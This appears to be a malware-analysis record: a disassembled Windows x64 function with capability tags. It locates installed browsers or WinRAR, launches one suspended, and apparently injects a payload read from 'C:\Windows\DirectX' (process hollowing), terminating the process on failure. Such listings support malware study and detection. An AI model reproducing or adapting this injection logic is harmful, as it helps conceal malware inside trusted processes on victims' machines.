Function at 0x14012d776
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1401a1330
push rbp
push rsi
push rdi
sub rsp, 0x980
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x18c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140d145c0]
xor rax, rbp
mov qword [rbp + 0x928], rax
lea rcx, [0x140d4a13f]
call fcn.140131470
nop
call fcn.140130f4d
nop
lea rax, str.C:WindowsDirectX
mov qword [rbp + 8], rax
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
lea rcx, [rbp + 0x28]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesGoogleChromeApplicationchrome.exe
lea rcx, [rbp + 0x68]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesMozilla_Firefox_firefox.exe
lea rcx, [rbp + 0xa8]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesBraveSoftwareBrave_BrowserApplication_brave.exe
lea rcx, [rbp + 0xe8]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesOperalauncher.exe
lea rcx, [rbp + 0x128]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesOpera_GXlauncher.exe
lea rcx, [rbp + 0x168]
call fcn.14012c29f
nop
lea rdx, str.C:Program_FilesWinRARWinRAR.exe
lea rcx, [rbp + 0x1a8]
call fcn.14012c29f
nop
mov qword [rbp + 0x1e8], 0
lea rcx, [rbp + 0x28]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a1436
lea rcx, [rbp + 0x28]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0x68]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a145b
lea rcx, [rbp + 0x68]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0xa8]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a1486
lea rcx, [rbp + 0xa8]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0xe8]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a14ae
lea rcx, [rbp + 0xe8]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0x128]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a14d6
lea rcx, [rbp + 0x128]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0x168]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a14fe
lea rcx, [rbp + 0x168]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
jmp 0x1401a1524
lea rcx, [rbp + 0x1a8]
call fcn.14012f40e
movzx eax, al
test eax, eax
je 0x1401a1524
lea rcx, [rbp + 0x1a8]
call fcn.140128d2f
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
jne 0x1401a1597
mov dword [rbp + 0x6f4], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x6f4]
jmp 0x1401a1e75
mov rcx, qword [rbp + 8]
call fcn.14012e987
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x1401a161a
mov dword [rbp + 0x714], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x714]
jmp 0x1401a1e75
mov rcx, qword [rbp + 0x208]
call fcn.140130ce1
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
jne 0x1401a16bb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x208]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov dword [rbp + 0x734], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x734]
jmp 0x1401a1e75
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x250]
call fcn.14012ef13
nop
mov dword [rbp + 0x250], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x2d8]
call fcn.14012ef13
nop
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x304], eax
cmp dword [rbp + 0x304], 0
jne 0x1401a17ca
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x754], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x754]
jmp 0x1401a1e75
lea rdx, [rbp + 0x324]
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x348], 0
mov qword [rbp + 0x350], 0
cmp dword [rbp + 0x324], 0
je 0x1401a18da
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x7a8]
call fcn.14012c6e6
lea rcx, [rbp + 0x778]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x348]
lea rcx, [rbp + 0x778]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x350], 0
je 0x1401a1858
cmp qword [rbp + 0x348], 0
jne 0x1401a18d5
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x7d4], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x7d4]
jmp 0x1401a1e75
jmp 0x1401a19ad
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x828]
call fcn.14012b1e2
lea rcx, [rbp + 0x7f8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x348]
lea rcx, [rbp + 0x7f8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x350], 0
je 0x1401a1930
cmp qword [rbp + 0x348], 0
jne 0x1401a19ad
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x854], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x854]
jmp 0x1401a1e75
mov rcx, qword [rbp + 0x208]
call fcn.140130a70
mov dword [rbp + 0x374], eax
cmp dword [rbp + 0x374], 0
je 0x1401a19d1
cmp dword [rbp + 0x324], 0
je 0x1401a19e3
cmp dword [rbp + 0x374], 0
jne 0x1401a1a4c
cmp dword [rbp + 0x324], 0
je 0x1401a1a4c
mov dword [rbp + 0x874], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x874]
jmp 0x1401a1e75
cmp dword [rbp + 0x374], 0
je 0x1401a1a69
mov rcx, qword [rbp + 0x208]
call fcn.1401286c7
mov dword [rbp + 0x394], eax
jmp 0x1401a1a7b
mov rcx, qword [rbp + 0x208]
call fcn.1401295b8
mov dword [rbp + 0x394], eax
cmp dword [rbp + 0x394], 0xffffffff
jne 0x1401a1b01
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x894], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x894]
jmp 0x1401a1e75
cmp dword [rbp + 0x324], 0
je 0x1401a1b25
mov rdx, qword [rbp + 0x350]
mov rcx, qword [rbp + 0x2d8]
call fcn.14012e4a5
mov dword [rbp + 0x3b4], eax
jmp 0x1401a1b3e
mov rdx, qword [rbp + 0x350]
mov rcx, qword [rbp + 0x2d8]
call fcn.1401318e4
mov dword [rbp + 0x3b4], eax
cmp dword [rbp + 0x3b4], 0xffffffff
jne 0x1401a1bc4
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x8b4], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x8b4]
jmp 0x1401a1e75
mov eax, dword [rbp + 0x3b4]
cmp dword [rbp + 0x394], eax
je 0x1401a1c4f
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a1a2
nop
mov dword [rbp + 0x8d4], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x8d4]
jmp 0x1401a1e75
cmp dword [rbp + 0x374], 0
je 0x1401a1c6c
mov rcx, qword [rbp + 0x208]
call fcn.1401304ad
mov dword [rbp + 0x3d4], eax
jmp 0x1401a1c7e
mov rcx, qword [rbp + 0x208]
call fcn.14012bb01
mov dword [rbp + 0x3d4], eax
cmp dword [rbp + 0x374], 0
je 0x1401a1cab
cmp dword [rbp + 0x3d4], 0
jne 0x1401a1cab
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012bac5
test eax, eax
jne 0x1401a1d2e
cmp dword [rbp + 0x374], 0
je 0x1401a1cd4
cmp dword [rbp + 0x3d4], 0
je 0x1401a1cd4
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012a6de
test eax, eax
jne 0x1401a1d2e
cmp dword [rbp + 0x374], 0
jne 0x1401a1cfd
cmp dword [rbp + 0x3d4], 0
jne 0x1401a1cfd
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012906d
test eax, eax
jne 0x1401a1d2e
cmp dword [rbp + 0x374], 0
jne 0x1401a1dab
cmp dword [rbp + 0x3d4], 0
je 0x1401a1dab
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012cf92
test eax, eax
je 0x1401a1dab
mov rdx, qword [rbp + 0x208]
lea rcx, [rbp + 0x2d8]
call fcn.14012c132
nop
mov dword [rbp + 0x8f4], 0
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x8f4]
jmp 0x1401a1e75
cmp qword [rbp + 0x208], 0
je 0x1401a1dce
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x208]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x2e0], 0
je 0x1401a1de6
mov rcx, qword [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x2d8], 0
je 0x1401a1e11
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x914], 0xffffffff
lea rcx, [rbp + 0x1a8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x168]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x128]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xe8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0xa8]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x68]
call fcn.140129b1c
nop
lea rcx, [rbp + 0x28]
call fcn.140129b1c
mov eax, dword [rbp + 0x914]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1403a4420]
call fcn.14012fad5
mov rax, rdi
mov rcx, qword [rbp + 0x928]
xor rcx, rbp
call fcn.14012c6c3
lea rsp, [rbp + 0x930]
pop rdi
pop rsi
pop rbp
ret